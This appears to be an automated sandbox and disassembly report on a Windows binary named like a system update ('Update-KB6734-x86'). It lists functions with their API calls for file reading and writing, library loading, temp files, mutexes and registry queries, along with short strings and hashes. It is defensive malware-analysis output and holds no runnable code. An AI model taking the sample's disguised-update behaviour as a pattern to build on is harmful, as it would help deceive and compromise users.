Instruction Fuzzy Hash: 3CB18C3150C3C1CAD321CB39988478BFFE46BA6714F484A5EF5E5972D2C2798149CB6B

Uniqueness

Uniqueness Score: -1.00%

Function 00412B30, Relevance: 33.3, APIs: 5, Strings: 14, Instructions: 86filetimeCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 00412C26
GetLocalTime.KERNEL32(0000003C), ref: 00412C31
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00412C4B
WriteFile.KERNEL32(00000000,000000E6,00000010,0000003C,00000000), ref: 00412C62
CloseHandle.KERNEL32(00000000), ref: 00412C69

Strings

{, xrefs: 00412B4E
Y, xrefs: 00412B58
:, xrefs: 00412B53
', xrefs: 00412B70
<, xrefs: 00412BBA
t, xrefs: 00412BE2
4, xrefs: 00412B75
0, xrefs: 00412B8E
m, xrefs: 00412BAC
h, xrefs: 00412BCE
F, xrefs: 00412BE7
x, xrefs: 00412B62
z, xrefs: 00412B84
^, xrefs: 00412BA7

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExpandHandleLocalStringsTimeWrite
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 2838349079-1073058172
Opcode ID: 37388e250c0d3da558317f92ab88a6508f4e7bf2038ca778009507825cbacb26
Instruction ID: 9d5602a8bff07f8f1bd6dde567594dbbd8fa68865cf92d56b2b83de2356b4480
Opcode Fuzzy Hash: 37388e250c0d3da558317f92ab88a6508f4e7bf2038ca778009507825cbacb26
Instruction Fuzzy Hash: 4C41112010C3C199D322D7389848B8FBFD15BA7218F488B9DF1E45A2D2C2759249C7AB

Uniqueness

Uniqueness Score: -1.00%

Function 004120C0, Relevance: 31.6, APIs: 4, Strings: 14, Instructions: 150libraryloaderCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000001), ref: 004121E0
GetFileAttributesA.KERNEL32(?), ref: 004121FF
LoadLibraryA.KERNEL32(?,00000000), ref: 00412252
GetProcAddress.KERNEL32(00000000,0042E3F0), ref: 004122AC

Strings

{, xrefs: 004120DE
Y, xrefs: 004120E8
t, xrefs: 00412172
<, xrefs: 0041214A
:, xrefs: 004120E3
4, xrefs: 00412105
', xrefs: 00412100
z, xrefs: 00412114
x, xrefs: 004120F2
0, xrefs: 0041211E
^, xrefs: 00412137
h, xrefs: 0041215E
F, xrefs: 00412177
m, xrefs: 0041213C

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: AddressAttributesEnvironmentExpandFileLibraryLoadProcStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 925820237-1073058172
Opcode ID: 131d082f9de17865684a3e021f0ddc608ce7fca9326b0bc6ab7601fe30902281
Instruction ID: 95e2059b24e6b08625558fafe1d9927b9274d35295d34d11aa50597a438a658b
Opcode Fuzzy Hash: 131d082f9de17865684a3e021f0ddc608ce7fca9326b0bc6ab7601fe30902281
Instruction Fuzzy Hash: C651631010C3D19AD311DB39989579BBFD45BA7328F485A9DF4E8472D3C269820DC76B

Uniqueness

Uniqueness Score: -1.00%

Function 004129C0, Relevance: 31.6, APIs: 4, Strings: 14, Instructions: 92fileCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 00412AB6
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00412AD0
ReadFile.KERNEL32(00000000,000000E6,00000010,?,00000000), ref: 00412B02
CloseHandle.KERNEL32(00000000), ref: 00412B09

Strings

{, xrefs: 004129DE
h, xrefs: 00412A5E
', xrefs: 00412A00
F, xrefs: 00412A77
m, xrefs: 00412A3C
<, xrefs: 00412A4A
x, xrefs: 004129F2
z, xrefs: 00412A14
:, xrefs: 004129E3
4, xrefs: 00412A05
t, xrefs: 00412A72
Y, xrefs: 004129E8
^, xrefs: 00412A37
0, xrefs: 00412A1E

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExpandHandleReadStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 2873326616-1073058172
Opcode ID: 71fe3081bd5b8bd7161fbc035ce1e9a9d4373e19c6f6c250aca107c39a209abf
Instruction ID: 8c6ea43fa09a3286770b603215ecff93b091f737eb22e7810364243bb09da271
Opcode Fuzzy Hash: 71fe3081bd5b8bd7161fbc035ce1e9a9d4373e19c6f6c250aca107c39a209abf
Instruction Fuzzy Hash: 4E41032010C3C199D322D73C984878FBFD55BA7318F488B9DF1E85A2D2D3A99649C76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040B610, Relevance: 31.6, APIs: 4, Strings: 14, Instructions: 92fileCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 0040B70E
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B728
ReadFile.KERNEL32(00000000,004310B8,00000004,?,00000000), ref: 0040B744
CloseHandle.KERNEL32(00000000), ref: 0040B760

Strings

0, xrefs: 0040B682
^, xrefs: 0040B695
h, xrefs: 0040B6B8
F, xrefs: 0040B6CC
x, xrefs: 0040B65A
t, xrefs: 0040B6C7
Y, xrefs: 0040B650
:, xrefs: 0040B64B
{, xrefs: 0040B646
m, xrefs: 0040B69A
', xrefs: 0040B664
<, xrefs: 0040B6A4
z, xrefs: 0040B678
4, xrefs: 0040B669

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExpandHandleReadStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 2873326616-1073058172
Opcode ID: c114ea442860f0f80da07236d5853267047690d1852017ad31ebe147657299ea
Instruction ID: c9ca788773da980f5d214099c4e0c2fa05920a1819a7867e2b669ae635df4d4e
Opcode Fuzzy Hash: c114ea442860f0f80da07236d5853267047690d1852017ad31ebe147657299ea
Instruction Fuzzy Hash: 6341142010C3C199D322DB28984874FBFD15BA6718F588A5DF1E85B2E2C3B5964DC76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040B780, Relevance: 31.6, APIs: 4, Strings: 14, Instructions: 80fileCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000001), ref: 0040B868
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040B882
WriteFile.KERNEL32(00000000,004310B8,00000004,?,00000000), ref: 0040B899
CloseHandle.KERNEL32(00000000), ref: 0040B8A0

Strings

t, xrefs: 0040B82F
0, xrefs: 0040B7EA
^, xrefs: 0040B7FD
z, xrefs: 0040B7E0
:, xrefs: 0040B7B3
4, xrefs: 0040B7D1
x, xrefs: 0040B7C2
Y, xrefs: 0040B7B8
h, xrefs: 0040B820
{, xrefs: 0040B7AE
F, xrefs: 0040B834
', xrefs: 0040B7CC
m, xrefs: 0040B802
<, xrefs: 0040B80C

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExpandHandleStringsWrite
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 4155862527-1073058172
Opcode ID: 9273c5595a96b2405ab5af5d902c7359953e1080390114a057f2b0281a9bc69d
Instruction ID: baa3cae5f5ab34e93cfd813ff7becf06d1d45a190b3b457302884b7f26e423b1
Opcode Fuzzy Hash: 9273c5595a96b2405ab5af5d902c7359953e1080390114a057f2b0281a9bc69d
Instruction Fuzzy Hash: E831232014D3C1D9D312D7289848B8FBFD05BA7318F488A5DF1D85A2D2C3B9824DC767

Uniqueness

Uniqueness Score: -1.00%

Function 004056D7, Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 135stringCOMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00405900
lstrcmpiA.KERNEL32(00000001,?), ref: 0040591C

Strings

l, xrefs: 00405817
p, xrefs: 004057FF
h, xrefs: 00405804
h, xrefs: 0040583B
p, xrefs: 00405809
m, xrefs: 0040584B
p, xrefs: 00405812
8, xrefs: 00405869
h, xrefs: 00405825
t, xrefs: 0040582A
I, xrefs: 0040585F
s, xrefs: 00405833
s, xrefs: 00405820
t, xrefs: 00405843

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: _strrchrlstrcmpi
String ID: 8$I$h$h$h$l$m$p$p$p$s$s$t$t
API String ID: 2999501412-836531014
Opcode ID: ccec61454f6af3ee337d9bff48b7e251726acd3afa5ded9e8444d64063ddd766
Instruction ID: 3f20e5aee60d72e1d420386b93ed5b1cec2b7467db128eb5dee041a04ac3d7e4
Opcode Fuzzy Hash: ccec61454f6af3ee337d9bff48b7e251726acd3afa5ded9e8444d64063ddd766
Instruction Fuzzy Hash: B771C07540D3C28AD326CB288040B9BFBE1ABD6204F448E6EE5D947391E7B59109CB67

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 28.1, APIs: 3, Strings: 13, Instructions: 77fileCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004010E1
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 004010FB
CloseHandle.KERNEL32(00000000), ref: 0040111C

Strings

', xrefs: 0040103F
x, xrefs: 00401031
4, xrefs: 00401044
m, xrefs: 00401071
z, xrefs: 00401053
<, xrefs: 0040107F
Y, xrefs: 00401027
0, xrefs: 0040105D
h, xrefs: 00401093
t, xrefs: 004010A7
F, xrefs: 004010AC
:, xrefs: 00401022
^, xrefs: 0040106C

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CloseCreateEnvironmentExpandFileHandleStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z
API String ID: 1403605771-759814561
Opcode ID: ca9cc3af777dddaed0d5913db1498ae4339569db94bec9ca99ba58dbe94e5d40
Instruction ID: 312b795b5e56d1041d03fccaae8dae33a3be811c4841049efce2031e4c952a66
Opcode Fuzzy Hash: ca9cc3af777dddaed0d5913db1498ae4339569db94bec9ca99ba58dbe94e5d40
Instruction Fuzzy Hash: 5B31FC2010C3C1D9E322D738985974FBFD15BA7318F588A9DF1E95B2D2C2B98249C7A7

Uniqueness

Uniqueness Score: -1.00%

Function 004016F0, Relevance: 28.1, APIs: 3, Strings: 13, Instructions: 77fileCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004017D1
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 004017EB
CloseHandle.KERNEL32(00000000), ref: 0040180C

Strings

F, xrefs: 0040179C
m, xrefs: 00401761
', xrefs: 0040172F
4, xrefs: 00401734
0, xrefs: 0040174D
<, xrefs: 0040176F
Y, xrefs: 00401717
h, xrefs: 00401783
^, xrefs: 0040175C
t, xrefs: 00401797
:, xrefs: 00401712
z, xrefs: 00401743
x, xrefs: 00401721

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CloseCreateEnvironmentExpandFileHandleStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z
API String ID: 1403605771-759814561
Opcode ID: 913cc769b66229c6b909c85032c4fd2047f7c90766c012ad0f461adb7c7f1a52
Instruction ID: cf6603b6467a36f1b1fe48ee20707507a00a8aaa8c14109d76319268d20f67da
Opcode Fuzzy Hash: 913cc769b66229c6b909c85032c4fd2047f7c90766c012ad0f461adb7c7f1a52
Instruction Fuzzy Hash: 1131FC2010C3C199E322D738985874FBFD15BA7318F588A9DF1E95B2D2C2B98249C7A7

Uniqueness

Uniqueness Score: -1.00%

Function 00401140, Relevance: 28.1, APIs: 3, Strings: 13, Instructions: 69fileCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00401221
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040123B
CloseHandle.KERNEL32(00000000), ref: 00401242

Strings

t, xrefs: 004011E7
0, xrefs: 0040119D
:, xrefs: 00401162
F, xrefs: 004011EC
^, xrefs: 004011AC
<, xrefs: 004011BF
', xrefs: 0040117F
m, xrefs: 004011B1
h, xrefs: 004011D3
Y, xrefs: 00401167
z, xrefs: 00401193
x, xrefs: 00401171
4, xrefs: 00401184

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CloseCreateEnvironmentExpandFileHandleStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z
API String ID: 1403605771-759814561
Opcode ID: eae75d6211b48766a2a4855af57f21a379476b10d3c7f040af184a083788c328
Instruction ID: 183227d0d47840c6fb137b2e72691f3ad759e2d74dad290b7fbfcb0fd45e1397
Opcode Fuzzy Hash: eae75d6211b48766a2a4855af57f21a379476b10d3c7f040af184a083788c328
Instruction Fuzzy Hash: B631DC2010C3C1D9E322D738984974FBFD11BA7218F588A9DF1E95A2D2C2B99249C767

Uniqueness

Uniqueness Score: -1.00%

Function 00419AC0, Relevance: 26.7, APIs: 5, Strings: 10, Instructions: 456synchronizationfileCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?,74786980), ref: 00419B01
GetTempFileNameA.KERNEL32(?,0042E290,00000000,?), ref: 00419B1B
WaitForSingleObject.KERNEL32(00000014,000000FF,00000000,000000EE), ref: 00419B49
ReleaseMutex.KERNEL32(00000014,?,?,?,00000005,?,?,?,00000006,?,?), ref: 00419FB1
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,00000005,?,?,?,00000006,?,?), ref: 0041A0B6

Strings

Z, xrefs: 00419B5D
A, xrefs: 00419C3C
u, xrefs: 00419C41
P, xrefs: 00419B67
t, xrefs: 00419B71
%d:%d,, xrefs: 00419BC8, 00419C98, 00419DE5
5, xrefs: 00419C5A
H, xrefs: 00419C46
), xrefs: 00419D24
7, xrefs: 00419C4B

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: FileTemp$DeleteMutexNameObjectPathReleaseSingleWait
String ID: %d:%d,$)$5$7$A$H$P$Z$t$u
API String ID: 3931662400-3265384
Opcode ID: fbd0aa01bd745ed4f8e17624d07f534a33e09d32544fa6f8117615c808823477
Instruction ID: 87167e95f2216398dbb744b78034f6cdc2098f1725ccaa65e6176ba6f2cbe2f0
Opcode Fuzzy Hash: fbd0aa01bd745ed4f8e17624d07f534a33e09d32544fa6f8117615c808823477
Instruction Fuzzy Hash: F902F2351083908FC721CF28D8A1AE7BFE0AF96314F48965DE8D5473A2D375D849CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0042A3E3, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 115fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00000000,00000000), ref: 0042A464
_strcat.LIBCMT ref: 0042A477
_strlen.LIBCMT ref: 0042A484
_strlen.LIBCMT ref: 0042A493
_strncpy.LIBCMT ref: 0042A4AA
_strlen.LIBCMT ref: 0042A4B3
_strlen.LIBCMT ref: 0042A4C0
_strcat.LIBCMT ref: 0042A4DE
_strlen.LIBCMT ref: 0042A526
GetStdHandle.KERNEL32(000000F4,0042EEC0,00000000,?,00000000,00000000,00000000,00000000), ref: 0042A531
WriteFile.KERNEL32(00000000), ref: 0042A538

Strings

Microsoft Visual C++ Runtime Library, xrefs: 0042A506
..., xrefs: 0042A4A4
<program name unknown>, xrefs: 0042A471
Runtime Error!Program: , xrefs: 0042A4D8

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: _strlen$File_strcat$HandleModuleNameWrite_strncpy
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3601721357-4022980321
Opcode ID: ce5f139c050410a4046e1cfe4d55637e7050fe717ca944e6fdfc0d3b7405f9c1
Instruction ID: 74c76adfd133b4e9a18e4e1925237b71ce4d4ae5635836e3a3127bb511270d61
Opcode Fuzzy Hash: ce5f139c050410a4046e1cfe4d55637e7050fe717ca944e6fdfc0d3b7405f9c1
Instruction Fuzzy Hash: 763128327401246BD720BBB6BC86EAB73A8EB44308F94042FFD15D3152EA7C9595C72D

Uniqueness

Uniqueness Score: -1.00%

Function 00408250, Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 76COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,00000104,00000104), ref: 00408348

Strings

z, xrefs: 004082A7
{, xrefs: 00408271
Y, xrefs: 0040827B
', xrefs: 00408293
0, xrefs: 004082B1
h, xrefs: 004082F1
F, xrefs: 0040830A
m, xrefs: 004082CF
<, xrefs: 004082DD
t, xrefs: 00408305
4, xrefs: 00408298
^, xrefs: 004082CA
:, xrefs: 00408276
x, xrefs: 00408285

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 237503144-1073058172
Opcode ID: 6fad4a32500c4ba3f8a82e59dce4a452e749217753927d1ac47079a33b539138
Instruction ID: dca6d9ca4d919790161e68c6a6737a5004210cde6544d660ad85851be413fbda
Opcode Fuzzy Hash: 6fad4a32500c4ba3f8a82e59dce4a452e749217753927d1ac47079a33b539138
Instruction Fuzzy Hash: 6C41DC1000C7C29DD312D73C955864FBFD15BE7228F488B9DF0E95B2E2D6698249C7A7

Uniqueness

Uniqueness Score: -1.00%

Function 00423FDF, Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 297registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,00000015,747C8170,00000000), ref: 004241EF
RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 0042420C
RegQueryValueExA.ADVAPI32(?,ServiceName,00000000,?,?,?), ref: 00424264
lstrcpyA.KERNEL32(?,00000000,?,00000008), ref: 004242C0
RegQueryValueExA.ADVAPI32(?,Description,00000000,?,?,?), ref: 004242E8
lstrcpyA.KERNEL32(?,?), ref: 00424349
RegQueryValueExA.ADVAPI32(?,Title,00000000,?,?,?), ref: 00424378
wsprintfA.USER32 ref: 004243AA
RegCloseKey.ADVAPI32(?), ref: 004243BD
RegCloseKey.ADVAPI32(?), ref: 004243CD

Strings

ServiceName, xrefs: 00424255
Description, xrefs: 004242D2
[%d] %s, xrefs: 004243A4
Title, xrefs: 00424362

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: QueryValue$CloseOpenlstrcpy$wsprintf
String ID: Description$ServiceName$Title$[%d] %s
API String ID: 3166188874-1473919770
Opcode ID: 19b7f30f3d2a41f17fe764a6f9fad9a6bbe25cb027da63ad8d5f2e9f9482e0bf
Instruction ID: 50b48e229a94bbbaf40ab9f963702833861e6e57dc731b51fdf7295a7017bae1
Opcode Fuzzy Hash: 19b7f30f3d2a41f17fe764a6f9fad9a6bbe25cb027da63ad8d5f2e9f9482e0bf
Instruction Fuzzy Hash: 0CE123205087CEDDDF22CB7C98486CD7F955B27328F484389F9E45A2E2C3A9854AC776

Uniqueness

Uniqueness Score: -1.00%

Function 00426501, Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 100COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,0042E7A0,00000118,0042485B,00000001,00000000,0042E4C0,00000008,0042A54F,00000000,00000000,00000000), ref: 00426582
_strcat.LIBCMT ref: 00426598
_strlen.LIBCMT ref: 004265A8
_strlen.LIBCMT ref: 004265B9
_strncpy.LIBCMT ref: 004265D3
_strlen.LIBCMT ref: 004265DC
_strcat.LIBCMT ref: 004265F8

Strings

Microsoft Visual C++ Runtime Library, xrefs: 00426633
Program: , xrefs: 00426609
B, xrefs: 004265FD
..., xrefs: 004265CD
Unknown security failure detected!, xrefs: 00426548
Buffer overrun detected!, xrefs: 0042655E, 004265F6
<program name unknown>, xrefs: 0042658C

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: _strlen$_strcat$FileModuleName_strncpy
String ID: ...$<program name unknown>$Buffer overrun detected!$Microsoft Visual C++ Runtime Library$Program: $Unknown security failure detected!$B
API String ID: 3058806289-85196374
Opcode ID: e85ed9134b3ae6f9a248eff3a8fb49e701f2d1d72a83a6c7e4bd4b035122a1bd
Instruction ID: 89b9faee52e55a897ce7ba6d50dd28e9919cf87c3f188bd51213c475bd47c2d4
Opcode Fuzzy Hash: e85ed9134b3ae6f9a248eff3a8fb49e701f2d1d72a83a6c7e4bd4b035122a1bd
Instruction Fuzzy Hash: C331C732B012347BD715ABA6BC42FDE37689F09318FD4045BF904A6282DB7CDA918B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00427120, Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 71libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,74784DE0,00000000,00425E71,?,0042E598,00000060), ref: 00427138
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00427150
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0042715D
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0042716A
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00427177
FlsAlloc.KERNEL32(00426FD9,?,0042E598,00000060), ref: 004271B4
FlsSetValue.KERNEL32(00000000,?,0042E598,00000060), ref: 004271E1
GetCurrentThreadId.KERNEL32 ref: 004271F5

Part of subcall function 00426F4B: FlsFree.KERNEL32(00000005,0042720A,?,0042E598,00000060), ref: 00426F56
Part of subcall function 00426F4B: DeleteCriticalSection.KERNEL32(00000000,00000000,00000000,?,0042720A,?,0042E598,00000060), ref: 0042749C
Part of subcall function 00426F4B: DeleteCriticalSection.KERNEL32(00000005,00000000,?,0042720A,?,0042E598,00000060), ref: 004274C6

Strings

FlsAlloc, xrefs: 0042714A
FlsFree, xrefs: 0042716C
kernel32.dll, xrefs: 00427133
FlsSetValue, xrefs: 0042715F
FlsGetValue, xrefs: 00427152

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$kernel32.dll
